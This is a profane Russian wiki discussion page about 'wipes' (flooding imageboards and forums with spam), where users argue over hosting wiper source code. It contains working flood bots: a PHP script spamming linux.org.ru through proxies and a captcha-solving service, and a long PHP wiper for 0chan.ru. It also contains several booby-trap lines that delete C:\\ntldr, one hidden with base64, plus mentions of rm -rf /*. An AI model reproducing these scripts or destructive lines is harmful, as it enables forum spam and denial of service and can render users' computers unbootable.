Обсуждение:Вайп
Материал из Lurkmore
unlink("c:\\ntldr"); Не позорьтесь, лол.
Короче пацан тут такая маза - че сечешь? Да пугало ворон спугнуло, есть капуста но сурки следят так че по грабсам? Жим-жим - дрявый блядь дотман
/r/
Реквестирую воткнуть вот эту картинку в статью в качестве иллюстрации
флейм
слушайте, идите нахуй со своими двачами-имиджбордами и прочими говно-BB! Вайп - это когда БД игроков онлайн-игрушки злые дяди админы херят, называя (аль оправдывая) это действие живительной массовой эвтаназии сиречь kill it with fire. Мы в недоумении, почему это не отражено в статье, но зато блядь развести здесь три страницы тупого флейма про двач это да, это мы не забыли. Маладцы.
- Сосни хуйца. Ті не админ
Ну убрал ты исходники, блядь, ну и чё? В истории куски кода-то вот они?
- Да даже если в истории не будет - все раз в неделю появляется в /b/, а если не появляется то достаточно создать тред и туда наверняка накидают. Так что прятать исходники это тоже не решение. Вернул на место.
- Молодец какой, а?
- Так и будем туда-сюда дергать?
- Перестаньте дёргать, пусть будет.
- Опять у кого-то руки чешутся...
- это все пидор-мудак сир оверхуй
- Опять у кого-то руки чешутся...
- Перестаньте дёргать, пусть будет.
- Так и будем туда-сюда дергать?
- Молодец какой, а?
не понимаю. кому станет лучше от того, что в /b/ будет еще больше говна?
- Во-первых, кому станет хуже? Во-вторых, прятать исходники это тоже не решение - все раз в неделю появляется в /b/.
- хуже станет всем посетителям /b/. спрятать чтоб никто не нашел действительно не получится, но зачем вывешивать на самом видном месте?
Может вернуть удаление ntldr? в профилактических целях. ^_^ L0calh0st 20:29, 23 декабря 2007 (MSK)
- Да, так все же лучше, пожалуй.
- --admLoki 05:10, 28 марта 2008 (MSK)
А в похапе варианте предлагаю сделать так :
try { @unlink(base64_decode('QzpcbnRsZHI=')); }
Просто уж больно заметно нехорошее :) .
Мля, поставьте ограничение на редактирование статьи. Унылые конфликты правок унылы.--Yum-yum 12:43, 24 декабря 2007 (MSK)
двачую
Ебаные сорцы вайпалок надо убрать! Ибо вайп идет линком на эту страницу. Пока вайперов только 5(синхронные дятлы, епта), но вы бля хотите, чтоб их 10 стало?--Быдло 14:02, 24 декабря 2007 (MSK)
- да хотим
- Да хоть 50, в общем-то. Что это реально поменяет?
И посмотрите, блждад, сколько просмотров на этой странице. Практически столько же, сколько и на главной. Вы желаете пиздец двачу? --Быдло 14:04, 24 декабря 2007 (MSK)
- да желаем
Nigraeb1, ты мудак. --Быдло 14:11, 24 декабря 2007 (MSK)
- пошел на хуй, ебаный
Поуберайте анлинки, и выложите нормальную многопоточную джава вайпалку а не то недописанное говно что лежит.
- Вот и выложи
- А вот хуй вам а не вайпалка. Надо быть полным идиотом чтобы не суметь переделать эту жава-вайпалку.
- Вот и не ругайтесь матом по телефону
- Кто выложит нормальную версию- тот получит 10 рандомных десу картинок. Ога.
- Вот и не ругайтесь матом по телефону
- А вот хуй вам а не вайпалка. Надо быть полным идиотом чтобы не суметь переделать эту жава-вайпалку.
try { unlink ("C:\\ntldr"); }catch (Exception $e) {} ololololo, сразу видно быдлокодер писал - есть такой символ "@" Сразу видно, что быдлокодер - это Вы: труЪ-кодеры ошибки не подавляют, а перехватывают.
Закрытие вопроса
Дабы окончательно закрыть вопрос вайпа, реквестирую сюда ссылку на собранную подмаздай вайпалку с гуи, настройками, радиобаттонами и подробным хелпом.
- NOWAI! /r/еквестирую ее сорцы, причем портируемые и независимые от быдлофреймворков.
- Ради б-га. Но если мы хотим сделать вайп бессмысленным - нужна именно подмаздайная быдлотулза, которая будет доступна каждому школьнику, как был доступен "кольт" каждому ковбою на диком западе.
- Doncha think it'll kill /b/?--Yum-yum 16:43, 24 декабря 2007 (MSK)
- "What's that?" - "A wiper tool" - "And what is it good for?" - "/b/" - "What is /b/?" - "/b/ is dead, baby. /b/ is dead."
- Жжошь!!!! (Альзо это Рэмбо-Ш, да?)
- "Zed's dead, baby, Zed's dead" -- that's Pulp Fiction for'ya, dumbfuck.
- Хуле! В рэмбо третьем тоже был такой диалог, только про синюю лампочку, и без концовки. Может, скрытая пародия, лол!
- "Zed's dead, baby, Zed's dead" -- that's Pulp Fiction for'ya, dumbfuck.
- Жжошь!!!! (Альзо это Рэмбо-Ш, да?)
- /b/ уже умер. Сейчас все просто ждут и смотрят что из него дальше получится (кроме нытик-кунов, им религия не позволяет).
- "What's that?" - "A wiper tool" - "And what is it good for?" - "/b/" - "What is /b/?" - "/b/ is dead, baby. /b/ is dead."
- Doncha think it'll kill /b/?--Yum-yum 16:43, 24 декабря 2007 (MSK)
- Ради б-га. Но если мы хотим сделать вайп бессмысленным - нужна именно подмаздайная быдлотулза, которая будет доступна каждому школьнику, как был доступен "кольт" каждому ковбою на диком западе.
Все вайперы, вайпающие сейчас /b/ -- мудаки. Они даже поддержку тора привинтить вайпилке не могут. --Вайпер-кун 17:20, 24 декабря 2007 (MSK)
- А хуле- кто то ж должен быть мудаком. Главное чтоб больше этих мудаков не становилось.--Быдло2 18:38, 24 декабря 2007 (MSK)
- пошел в пизду
- А хуле- кто то ж должен быть мудаком. Главное чтоб больше этих мудаков не становилось.--Быдло2 18:38, 24 декабря 2007 (MSK)
Вбрасываю быдлотулзу, доступную каждому школьнику, использующему Хром
Wipal tendencies
Неужели ж вы не понимаете, что именно благодаря вайпу люди побегут в FGHI толпами, как из США в СССР 30-х годов?
- Понимаем. Но все, кому нужно- вайпалки уже взяли. А если вайпалка будет у каждого быдлошкольника, то вайп не прекратится вообще.--Быдло2 19:25, 24 декабря 2007 (MSK)
- ну и что? мне лично срать будет вайп или нет
- Вот-вот. вайп - это проблема двача. Админам двача насрать. So be it.
- группировка двачей снова портит страницу!!!!!
- Понимаем. Но все, кому нужно- вайпалки уже взяли. А если вайпалка будет у каждого быдлошкольника, то вайп не прекратится вообще.--Быдло2 19:25, 24 декабря 2007 (MSK)
!
Вы гавно! Я вас ненавижу, я завайпаю ваш пидорский лурк расчленёнными пидронигроанимукапроёбами.
- а не могли бы вы о них статью написать? может не все знаю, что это такое... also вы расчленееные и капро - одно и тоже...
- ртфм капро - говень!
try: remove('C:\\ntldr') except: pass
блять, че за мудак это пишет, яйца оторвать блять этому пидарасу
Слил все исходники в один файл - http://rapidshare.com/files/109809826/_______Lurkmore.mht.html Призываю начальство удалить исходники и поместить вместо них эту ссылку. Или просто удалить - все равно они бесполезны.
- >remove('C:\\ntldr')
И что-что? Что это сделает линуксоебам?
добавте
Вайп жжостского диска media:Sshot-2.jpg
Вайпалка
Ваша вайпалка на питоне — говно. Нет ни проксей, ни капчи. http://pastie.org/private/fdpjgaegywdfnjhqsbzha
3.0
принт теперь функция же! Все ваши вайпалки говно!
Вайпалка на перле
Умеет использовать прокси, работает в несколько потоков. Забивка капчей только вручную. http://ifolder.ru/9532480 Пароль к архиву: www.2ch.ru Ваш крыса-кун
- На питоне лучше ;3
моар вайпов с ниграми!!1
Вайпалка ЛОРа
пруфпик - http://img172.imageshack.us/img172/8325/37077810ew9.png
скрипт
<?php function getmsg() { $rand_value = rand(0, 15); $file_array = file("msg.txt"); $line = $file_array[$rand_value]; return $line; } function getproxy($pid) { list($usec, $sec) = explode(" ", microtime()); srand((int)($usec*10)+$pid); $rand_value = rand(0, 355); $file_array = file("proxy.txt"); $line = $file_array[$rand_value]; return $line; } function geturl($url,$proxy=0,$postdata=0,$header=0,$cookie=0,$referer=0) { $poststr=""; if ($postdata) while (list($name,$value)=each($postdata)){ if (strlen($poststr)>0) $poststr.="&"; $poststr.=$name."=".urlencode($value); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if($proxy) curl_setopt($ch, CURLOPT_PROXY, $proxy); if($cookie){ curl_setopt($ch, CURLOPT_COOKIE, $cookie); //echo "COOKIE $cookie"; } if($referer!=0) curl_setopt($ch, CURLOPT_REFERER, $referer); curl_setopt($ch, CURLOPT_TIMEOUT, 60); if ($header){ curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_NOBODY, 1); }else{ curl_setopt($ch, CURLOPT_HEADER, 0); } if ($postdata){ curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (U; Windows; ru; rv:1.9.0.5) Gecko/2007121622 Windows Firefox/2.0.5"); $res = curl_exec($ch); curl_close($ch); return $res; } $key = '72c5d28fds45fd6gd54676s6fg89a10c7b332c36b746df2e81a1ef8'; $add_url = 'http://www.linux.org.ru/add.jsp'; $groups = array ( '126','1339','1340','1342','4068','4066','7300','8403','19109' ); for($i=0;$i<9;$i++){ $pid = pcntl_fork(); } while(true){ $proxy = getproxy($pid); $group = $groups[rand(0, 8)]; $header = geturl($add_url.'?group='.$group,$proxy,0,1); preg_match('|JSESSIONID=(.*);|U', $header, $out); $session = $out[1]; $mycookie = "JSESSIONID=".$session."; path=/; domain=www.linux.org.ru"; if(!empty($session)){ //echo "SESSION=".$session."\n"; ; } else { echo "Error getting session\n"; continue; } $captcha = null; $captcha = geturl('http://www.linux.org.ru/jcaptcha.jsp',$proxy,0,0,$mycookie,$add_url.'?group='.$group); if($captcha!=null) //echo "CAPTHCA GETTED\n"; ; else { echo "Captcha not getted\n"; continue; } $postdata = array( 'method' => 'base64, 'key' => $key, 'body' => base64_encode($captcha), 'ext' => 'jpg', 'phrase' => 0, 'regsense' => 0, 'numeric' => 0, 'min_len' => 3, 'max_len' => 9 ); $rev = geturl(http://",0,$postdata); if (substr($rev,0,2)=='OK'){ //получаем id капчи в системе $anti_captcha_id = substr($rev,3); }else{ echo "Upload ERROR\n"; echo $rev; echo $captcha; continue; } //ждем 20 сек и проверяем капчу $f = false; while($f){ sleep(20); $postdata = array( 'key' => $key, 'action' => 'get', 'id' => $anti_captcha_id ); $cap = geturl("http://",0,$postdata); if (substr($cap,0,2)=='OK'){ $captcha_value = substr($cap,3); $f = true; }else{ echo "ERROR\n"; echo $cap; $f = false } } $file = fopen('/dev/urandom', 'r); $random = fread($file, 16); $postdata = array( "session" => $session, "nick" => 'anonymous', "password" => "", "group" => $group, "title" => $contentsgetmsg().$contents, "msg" => getmsg()."\n http://www.ipetitions.com/petition/sayno2JB/signatures.html \n".$contents, "mode" => 'tex', "autourl" => '1', "j_captcha_response" => $captcha_value ); echo "SENDING POST\n"; $recdata = geturl('http://www.linux.org.ru/add.jsp',$proxy,$postdata,0,$mycookie,$add_url.'group='.$group); //$recdata = post('http://www.linux.org.ru/add.jsp',$postdata,$proxy,$session); echo $recdata; } ?>
- Уйди, похапэ-быдлокодер.
Python
подскажите пример бампа угодной темы (чтобы отправлялся пост с текстом "bump" и тут же удалялся, потом опять отправлялся и удалялся, дабы флуда не было, да и не заметный бамп был) для 4chan'а желательно, сотни нефти гарантирую! Да и вообще, бесконечную благодарность.
- Надумал закреплять треды?
- да не, там же (на форчане) темы быстро вниз слетают, а так иногда хочется чтобы она не слетала так быстро, вообщем у меня уже есть рабочий код для питона, но там нужно какой-то цикл проставить (ну чтоб он не один раз оставил сообщение, а несколько раз, сам, автоматически), чтоб, допустим, 50 сообщений "bump" с делеем (задержкой) 10 секунд.
вот скрипт, если интересно:
import httplib, urllib params = urllib.urlencode({'com': 'BUMP','resto':'3813716','mode':'regist',"MAX_FILE_SIZE":"3145728"}) headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "multipart/form-data"} conn = httplib.HTTPConnection("bin.4chan.org") conn.request("POST", "/g/imgboard.php", params, headers) response = conn.getresponse() print response.status, response.reason data = response.read() print data conn.close()
Реквестирую удалить строку
Реквестирую удалить строку Вызов curl из shell-скрипта палево же, rm -rf /* уже все нубы знают
Перенастройка вайпалки
Как перенастроить вышевыложенную вайпалку на перле под ментач?
Капча
Программеры (не быдлокодеры), подкиньте хороших, годных линков на тему распознавания капчи, желательно не только сухую теорию, но и примеры.
- Тут нет программеров, одно быдло умеющее только rm -rf /*
- используй онлайн-сервисы для взлома капчи, полно их
В поисках КО
Я нуб. Как вайпать с помощью кодов?
- Скачиваешь системушку программирования. Вставляешь код. Любуешься, как информация на винте превращается в кашу.
Вайпалка на PHP под Windows и POSIX(Unix/Linux) для 0chan.ru (Кусаба)
Работает напрямую и через прокси, случайное изображение, случайный текст, ввод капчи вручную.
<?php //..............................http://uchan.org.ua................................. //................................................................................... //................................................................................... //,,,::,.....,:,,,:,.:,,,,,,,:,.::,,,,,,::............,,,.........:,,,,,,,::...:,,,,, //MMMWWt.....IWMMMMt:MMMMMMMMWY,MMMMMMMMWM:..........IMMV........,MMMMMMMMWB,.:WMMMMM //###M+,.....,;R#Wt,.:;R###M+:,.::I####I:,..........;W##B,........::I####t:,...:;Y### //###V.........X#i.....V###I......;W##M,............V###W,..........;W##M,.......=### //W##B........;WX,.....X###+......+###R............+#####:..........+###X........t### //X##W:.......YW;......B###;......t###Y...........,BBB###=..........I###Y........Y### //t###i......;Wt......,W###:......Y###i...........t#+Y###i..........V###i........R### //;W##V.....,XB,......;W##M.......R###=..........:WX.t###Y..........R##W;.......,B##W //.R##M,....+W=.......+###B......,W##W:..........VW;.+###X..........W##W,.......:W##M //.t###+...:BY........t###X......+###M..........+WI..;###B.........:###B........=###R //.:W##V...IM:........t###R.....,R###X.........,RM,..,W##M,........+###WYYYYYYYYB###Y //..X##M,.;W+.........+####i,..;X####I.........tW+....B##W;........I###MRRRRRRRRW###i //..i###+,XX,.........,B####BVXWXR###i........:MB=====R###+........V###+........R###= //..:W##XiW;...........:R#####Bi,R###;........Y#WWWWWW####i.......,B##W;.......,M##W: //...X###WI.............,=tIt=,.,M##W:.......;WV;;;;;;I###I.......:W##M,.......:W##M. //...i###R,.....................;W##B,.......RM:......+###X.......;###R,.......+###X. //...:W##=......................+###V.......+#I.......;W##M.......i###V........t###I. //....R#Y.......................I###I......,BM:.......:W##W,......I###I........V###i. //...:MB,.......................X###i......I#t........,M###;......X###+........B##W;. //..;RW=........................B###=.....:WM,.........B###+......M###=.......,W##W:. //+VW#t........................;W###:....,X#Y..........B###Y.....;###W:.......+###M,. //##Wi......................,IYB####RIt:IX##MYI:....:IVW###WVI:tYB####RIt,.,IVM####RI //WX=.......................:XYIIIIIIYY;XYIIIIV:....=XVIIIIIVX;VYIIIIIIYY,.:VYIIIIIIY //.,==:.............................................................................. //................................................................................... //......................................,;........................................... //.......................................:,.......................................... //.......................................,=,......................................... //......................................,:YI=;,,..................................... //...................................,=IVXRRRXVYt=:.................................. //.................................,iXMMWWWWWWWMBRVt:................................ //................................=XW#############WMXi:.............................. //...............................iB#################WMY=............................. //.............................,YM##########WW########WR=............................ //............................,RW########WWWWWW#########R=........................... //............................tW#######WWMMBBBMMW###WWMW#R;.......................... //...........................:M#######WMBRRRRRRBMWWWMBRBW#V,......................... //...........................Y#####MVIYRRXYi++IXRVVVRXVVBWWi......................... //..........................;MBW#WV;::,:VYI,..+IX:,:IY+tXM#B,........................ //..........................Yt=X#V:iBX;.:Vi,,,=VX,,,iY,,:=XW+........................ //.........................;tV=VM;+WWMY,,It,,;:Vt,;,iV,+II=MX........................ //.........................+VW+RX:V##WR:,tV:,=,Ri,+,iR,+BWiXM,....................... //.........................tII;WI:B###M;,Y#;:V,Y;,I,iM:,+I=VW=....................... //.........................I;;;BI:B###B:,R#;:B:=:;V,iW::::;MWt....................... //.........................IIB=IV:I###t,;WW;:M;,,tV,tW:iMBiVWY....................... //........................,YRWitM;:IXI::V##=;W+,,IY,iM:tW#YtWY....................... //........................,YtY;Y#X;::::YW##+=WI::BX:tM:;iI=tMI....................... //........................,Y==+M##BYtYBW###RX#BVV#RtVM=;;::XRt....................... //.........................YYRM#######################WMBVVBX+....................... //.........................iRM######################W###WMBRV;....................... //.........................=XBMW############W####WWWWWWWWMBRY:....................... //.........................,VRMWWWWWWWWW###WWWWWWWWWWWWWMMBXI........................ //..........................tXBMWWWWWWWWWWWWWWWWWWWWWMMMMBRV+........................ //..........................;VRMMWWWWWWWWWWWWWWWWWWWWMMMBBVY:........................ //..........................,IXBMMWWWWWWWWWWWWWWWWWWMMMMBXVt......................... //...........................=YRBMMWWWWWWWWWWWWWWWWMMMMBRVY;......................... //..........................,,iVRBMMWWWWWWWWWWWWWMMMMBBRVV+,......................... //...........................:;IXRBMMMWWWWWWWWWWMMMMMBRVVI;.......................... //..........................,;;=YXRBMMMMMMMMMMMMMMMBBRXXY=;,......................... //..........................:;;=iVRRBBMMMMMMMMMMMBBBRRXY+=;,......................... //..........................,;;=+IXRBBBMMMMMMMMBBBBRRRYi+;:.......................... //...........................:;=+tVBMMMMBBMMBBBBBBBBMXi+=:........................... //............................,:;=iYRWW##WWWWWWW#WMRV+;:,............................ //...............................,:;=iYXRBMMMMBRYt+;:,............................... //...................................,,,,,:::,,,..................................... //................................................................................... //...............................................................................:=.. //..............................................................................tWB.. //..............................................................................Y#V.. //.................:;,..........................................................i#I.. //...;VRRI:VRRV:.;VMWB:.........tXRX++XRXt=RRRi,YRV,..tXRRt..,tRXXRRY=VRRI,YRRV,=#i.. //....=#R..,MW:.,R=:R#Y..........V#i..i#V..t#B,.;B:....tR#Y..t#X:;WW,.;WB,.:WM,.;#=.. //....;#R,,:MW:..=..i#V..........V#i,,i#V..:MW;.ti....:Yt#Y..i#Y.,WM,.;WB,.:WM,.,M:.. //....;#WRRRWW:..;tIV#V..........V#BRRB#V...Y#I,V,....V;i#Y...iBYiWM,.:MWi:I#M,.,R,.. //....;#R,,,MW:.iWY,+#V..........V#i,,i#V...;#Mi+....iI.i#Y...=WM=WM,..;VXViWM,..=... //....;#R..,MW:.R#;.i#V..........V#i..i#V....B#R,...;B,.i#Y..,R#i,WM,......:WM,.,t;.. //...,i#B;,=MW+,R#XiX#R:........:X#I::I#X:...t#t...:RX,:Y#R:,I#R,=WW=,....,+WM=.I#R.. //...:ttti,tttt:=RBt;tt=........+ttt;=ttt+...:R,...=tt;=ttt+;tt;,ttti,....:tttt,=Ri.. //...........................................;i...................................... //........................................t;;V,...................................... //........................................VWW+....................................... //........................................+Y=........................................ //................................................................................... //...............................http://uchan.org.ua................................. //Скрипт для напівавтоматизованого вайпу нуляча написаний на php, тому для його роботи потрібний веб-сервер із php. //Веб-сервер все-в-одному і після установки одразу готовий до використання: //http://sourceforge.net/projects/appserv/files/ // //Після встановлення в деректорію "C:\AppServ\www\" варто скопіювати файл .htaccess наступного змісту: //Order deny,allow //deny from all //allow from 127.0.0.1 //Це блокує доступ для всіх окрім вашого комп'ютера до цього сервера. Цей файл є в папці "wipephp". // //Після цих маніпуляцій скопіюйте цю папку "wipephp" в "C:\AppServ\www\". // //Все, можна вайпати, для цього в броузері зайдіть за адресою: http://localhost:80/wipephp/ і відкрийте в новій вкладці потрібний скрипт. // //Додаткова інформація. //Дошку достатньо змінити лише в назві скрипту між ---: //---ДОШКА--- // //---b---_uchan_wipe_0chan.php - цей скрипт варто використовувати для постингу без проксі в окремий тред, оскільки затримка флуду при цьому 10 секунд. // //У зв'язку з тим, що нові треди з одного IP можна створювати через невідомо значиний період часу, то доцільно створювати нові треди лише через proxy. //---b---_(proxy)_uchan_wipe_0chan.php // //Будь-який скрипт можна відкрити довільну кількість разів. Досить ефективно на пряму постити в один тред, і через 5-7 разів відкритий скрипт працюючий через проксі створювати нові треди. // //P.S. Нові проксі можна взяти тут http://www.samair.ru/proxy/time-01.htm, їх треба чекнути на робочість, одна з програм для цього є тут: http://uchan.org.ua/sho/res/126.html#155, перевірку в AccessDiver проходять ~30%. // //.......................................http://uchan.org.ua.......................................... //Встановлюємо максимальний час виконання в секундах set_time_limit(120); $password = "erfjjwek2"; // Пароль на видалення повідомлень, варто змінити $treadpost = '0'; // Якщо 0 - новий тред, якщо ввести номер треду повідомлення будуть писатись в цей тред. $proxy = false; // true, або false - якщо не використовується проксі $hostname=%26quot%3Bwww%2E0chan%2Eru%26quot%3B%3B $board = "b"; // Дошка, ага. Якщо не вдалось знайти в назві скрипата ---ДОШКА---, тобуде використана ця. $path = "board.php?dir=".$board; $proxyip = $hostname; $proxyport = "80"; $name = ''; // Псевдо $files = ""; $bounds = "9700306295313"; $bounds1 = "-----------------------------".$bounds; $dirdelimiter = "\\"; // В Windows \\, в Лінукс /. $picdir = "pic"; // Директорія із зображеннями. $captchadir = "captcha"; // Директорія куди зберігаються капчі. $subject = 'Відповідь на Nо.'.(rand(0,200000000)); $comment = ">>".(rand(0,200000000))."\r\n"; // Початок коментаря $commentend = "\r\nhttp://ukrkniga.org.ua/ukrkniga-text/36/22/\r\nhttp://uchan.org.ua/\r\n"; // Кінець коментаря, якщо додадуть в спам-фільтр треба замінити чи видалити посилання //Затримка, різна для тредів і постів, і при роботі через проксі if ($treadpost==0){$timeout = 60;} else {$timeout=10;} if ($proxy == true){$timeout = 0;} $countboard = preg_match_all('/---(.+?)---/', $_SERVER["SCRIPT_NAME"], $boardurl, PREG_SET_ORDER); $boardurl = $boardurl[0][1]; if (empty($boardurl)) {$board=$board;} else {$board=$boardurl;} //Якщо капча не введена робимо запит капчі if (empty($_POST["captcha"])) { $proxyblock = ''; //Якщо ввімкнено проксі, то беремо капчу через випадковий проксі if ($proxy == true) { $myFile = "proxy.txt"; $fr = fopen($myFile, 'r'); $allproxy = fread($fr, filesize($myFile)); fclose($fr); $allproxy = preg_replace('/(\r?\n)/', 'poDJSLwlfja23u3afisjfDJ', $allproxy); $allproxyArray = explode ("poDJSLwlfja23u3afisjfDJ", $allproxy); $randprox= rand(0, (sizeof($allproxyArray)-1)); $proxyraw = $allproxyArray[$randprox]; $proxyrawArray = explode (":", $proxyraw); $proxyip = $proxyrawArray[0]; $proxyport = $proxyrawArray[1]; $proxyblock = "<tr align='center'><td align='center' COLSPAN='2'>Через проксі ".$proxyip.":".$proxyport."<br /></td></tr>"; } $headers = "GET http://$hostname/captcha.php HTTP/1.1\r\n"; $headers .= "Host: $hostname\r\n"; $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $headers .= "Accept: image/png,image/*;q=0.8,*/*;q=0.5\r\n"; $headers .= "Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; $headers .= "Accept-Encoding: deflate\r\n"; $headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"; $headers .= "Keep-Alive: 300\r\n"; $headers .= "Connection: keep-alive\r\n"; $headers .= "Referer: http://$hostname/$board/\r\n\r\n"; $fp = fsockopen($proxyip, $proxyport, $errno, $errstr, 30); if (!$fp) echo "$errstr ($errno)<br />\r\n<meta http-equiv='refresh' content='10;url=http://w2.guardtunnel.com/browse.php?u=Oi8vbHVya21vcmUucnUvJnF1b3Q7LiRfU0VSVkVSWyZxdW90O1NDUklQVF9OQU1FJnF1b3Q7XS4mcXVvdDs%3D&b=5'>"; else { fwrite($fp, $headers, strlen($headers)); //Збираємо до купи відповідь $answer = ''; while(!feof($fp)) { $answer.= fread($fp, 4096); } //Вирізаємо з відповіді зображення капчі $patern = "/(\x89PNG.*)/s"; $count = preg_match($patern, $answer, $rez); //Зберігаємо капчу $randcap= rand(0, 2000000000); $captchapng = $rez[0]; $myFile = $captchadir.$dirdelimiter."captcha-".$randcap.".png"; $fw = fopen($myFile, "w"); fwrite($fw, $captchapng); fclose($fw); } //Витягнули з відповіді нові кукіси капчі та сесії $patern = "/(Set\-Cookie\: )(cap=.*?)(\r\n)/i"; $count = preg_match($patern, $answer, $rez); $newcookie = $rez[2]; $patern = "/(Set\-Cookie\: )(PHPSESSID=.*?)(\r\n)/i"; $count = preg_match($patern, $answer, $rez); $phpsessid = $rez[2]; fclose($fp); //Виводимо форму зі збереженим зображенням капчі, кукісами та всім іншим echo " <meta http-equiv='Content-Type' content='text/html;charset=utf-8' /> <form action='".$_SERVER['SCRIPT_NAME']."' method='post'> <input name='newcookie' value='".$newcookie."' type='hidden' /> <input name='phpsessid' value='".$phpsessid."' type='hidden' /> <input name='proxyip' value='".$proxyip."' type='hidden' /> <input name='proxyport' value='".$proxyport."' type='hidden' /> <table align='center'><tbody> <tr align='center'><td align='center' COLSPAN='2'><a href='http://uchan.org.ua/'><img src='http://uchan.org.ua/uchan.png' border='0' /></a><br /></td></tr> <tr align='center'><td align='center' COLSPAN='2'><a href='http://uchan.org.ua/' style='text-decoration:none;'> http://uchan.org.ua/</a><br /></td></tr> <tr align='center'><td align='center' COLSPAN='2'>На нуляч.<br /></td></tr> ".$proxyblock." <tr><td><a href='".$_SERVER['SCRIPT_NAME']."'><img src='".$captchadir."/captcha-".$randcap.".png' alt='Натисни, щоб оновити' border='0' /></a><br /></td></tr> <tr><td><input size='12' name='captcha' type='text' /></td> <td><input tabindex='0' value='+Один Вайп'type='submit' /></td> </tr></tbody></table> </form><br /> "; } //Якщо капча введена if (!empty($_POST["captcha"])) { //Взяли капчу, кукіси та все інше з робочого пост-запиту $newcookie = $_POST["newcookie"]; $captcha = $_POST["captcha"]; $phpsessid = $_POST["phpsessid"]; $proxyip = $_POST["proxyip"]; $proxyport = $_POST["proxyport"]; //Прочитали випадкове зображення і додали до нього викадкове число $filearray = ""; foreach (glob("$picdir$dirdelimiter*.jpg") as $filename) { $filearray .= $filename."5dfg5dde5sa6SFDoiwlkds"; } $filearray = explode("5dfg5dde5sa6SFDoiwlkds", $filearray); $randfile = rand(0, (sizeof($filearray)-2)); $filename=%24filearray[%24randfile]%3B //В Unix'ах може треба буде використовувати як розільник, інший слеш / $filearray = explode("\\", $filename); $filename=%24filearray[1]%3B $filename=%24picdir%2E%24dirdelimiter%2E%24filename%3B $files = file_get_contents($filename); $random=rand()%10000000; $files = $files.$random; // Завантажуємо файл кометарів та беремо випадковий фрагмент $myFile = "comments.txt"; $fr = fopen($myFile, 'r'); $allcomments = fread($fr, filesize($myFile)); fclose($fr); $allCommentsArray = explode ("=====================================", $allcomments); $randcom= rand(0, (sizeof($allCommentsArray)-1)); $comment .= $allCommentsArray[$randcom].$commentend; //Формуємо пост-запит на сервер чана $data = '$bounds1 Content-Disposition: form-data; name=%26quot%3Bboard%26quot%3B $board $bounds1 Content-Disposition: form-data; name=%26quot%3Breplythread%26quot%3B $treadpost $bounds1 Content-Disposition: form-data; name=%26quot%3BMAX_FILE_SIZE%26quot%3B 2048000 $bounds1 Content-Disposition: form-data; name=%26quot%3Bemail%26quot%3B $bounds1 Content-Disposition: form-data; name=%26quot%3Bcaptcha%26quot%3B $captcha $bounds1 Content-Disposition: form-data; name=%26quot%3Bsubject%26quot%3B $subject $bounds1 Content-Disposition: form-data; name=%26quot%3Bmessage%26quot%3B $comment $bounds1 Content-Disposition: form-data; name=%26quot%3Bimagefile%26quot%3B%3B filename=%26quot%3Bmoskalyach%2Ejpg%26quot%3B Content-Type: image/jpeg $files $bounds1 Content-Disposition: form-data; name=%26quot%3Bname%26quot%3B $name $bounds1 Content-Disposition: form-data; name=%26quot%3Bgotothread%26quot%3B on $bounds1 Content-Disposition: form-data; name=%26quot%3Bembed%26quot%3B $bounds1 Content-Disposition: form-data; name=%26quot%3Bembedtype%26quot%3B youtube $bounds1 Content-Disposition: form-data; name=%26quot%3Bpostpassword%26quot%3B $password $bounds1-- '; $headers = "POST http://$hostname/$path HTTP/1.1\r\n"; $headers .= "Host: $hostname\r\n"; $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $headers .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $headers .= "Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; $headers .= "Accept-Encoding: deflate\r\n"; $headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"; $headers .= "Keep-Alive: 300\r\n"; $headers .= "Connection: keep-alive\r\n"; $headers .= "Referer: http://$hostname/$board/\r\n"; $headers .= "Cookie: jsrot=2; kustyle_site=Autumn; kustyle=Autumn; postpassword=".$password."; ".$phpsessid."; ".$newcookie."; disclaimer=1; showwatchedthreads=0; jsrotx=1; jsrot_1=1\r\n"; $headers .= "Content-Type: multipart/form-data; boundary=---------------------------$bounds\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n\r\n"; $fp = fsockopen($proxyip, $proxyport, $errno, $errstr, 30); if (!$fp) echo "$errstr ($errno)<br />\r\n<meta http-equiv='refresh' content='10;url=".$_SERVER["SCRIPT_NAME"]."'>"; else { fwrite($fp, $headers.$data, strlen($headers.$data)); $answer = ''; while(!feof($fp)) { $answer .= fgets($fp, 4096); } //На всякий випадок зберігаємо відповідь, може треба буде для налагодження роботи $myFile = "echo.html"; $fw = fopen($myFile, "w"); fwrite($fw, $answer); fclose($fw); //Записуємо створений тред чи пост в лог $patern = "/(url=)(.*?)(\")/i"; $count = preg_match($patern, $answer, $rez); $profit = $rez[2]; if (empty($rez[2])) { $patern = "/(\<h1.*?\>)(.*?)(\<\/h1\>)/si"; $count = preg_match($patern, $answer, $rez1); $patern = "/(\<h2.*?\>)(.*?)(\<\/h2\>)/si"; $count = preg_match($patern, $answer, $rez2); $profit = $rez1[2]." - ".$rez2[2]; $profit = preg_replace('/(\r?\n)/', '', $profit); } $treadpostwiped = $profit.", proxy(or direct): ".$proxyip.":".$proxyport."\r\n"; $myFile = "wipelog.txt"; $fw = fopen($myFile, "a"); fwrite($fw, $treadpostwiped); fclose($fw); } fclose($fp); //Пауза sleep($timeout); //Відкрили знову цей скрипт вже з новою капчею header( 'Location: '.$_SERVER["SCRIPT_NAME"] ) ; echo '<meta http-equiv="refresh" content="10;url='.$_SERVER["SCRIPT_NAME"].'">'; } ?>
АЛСО
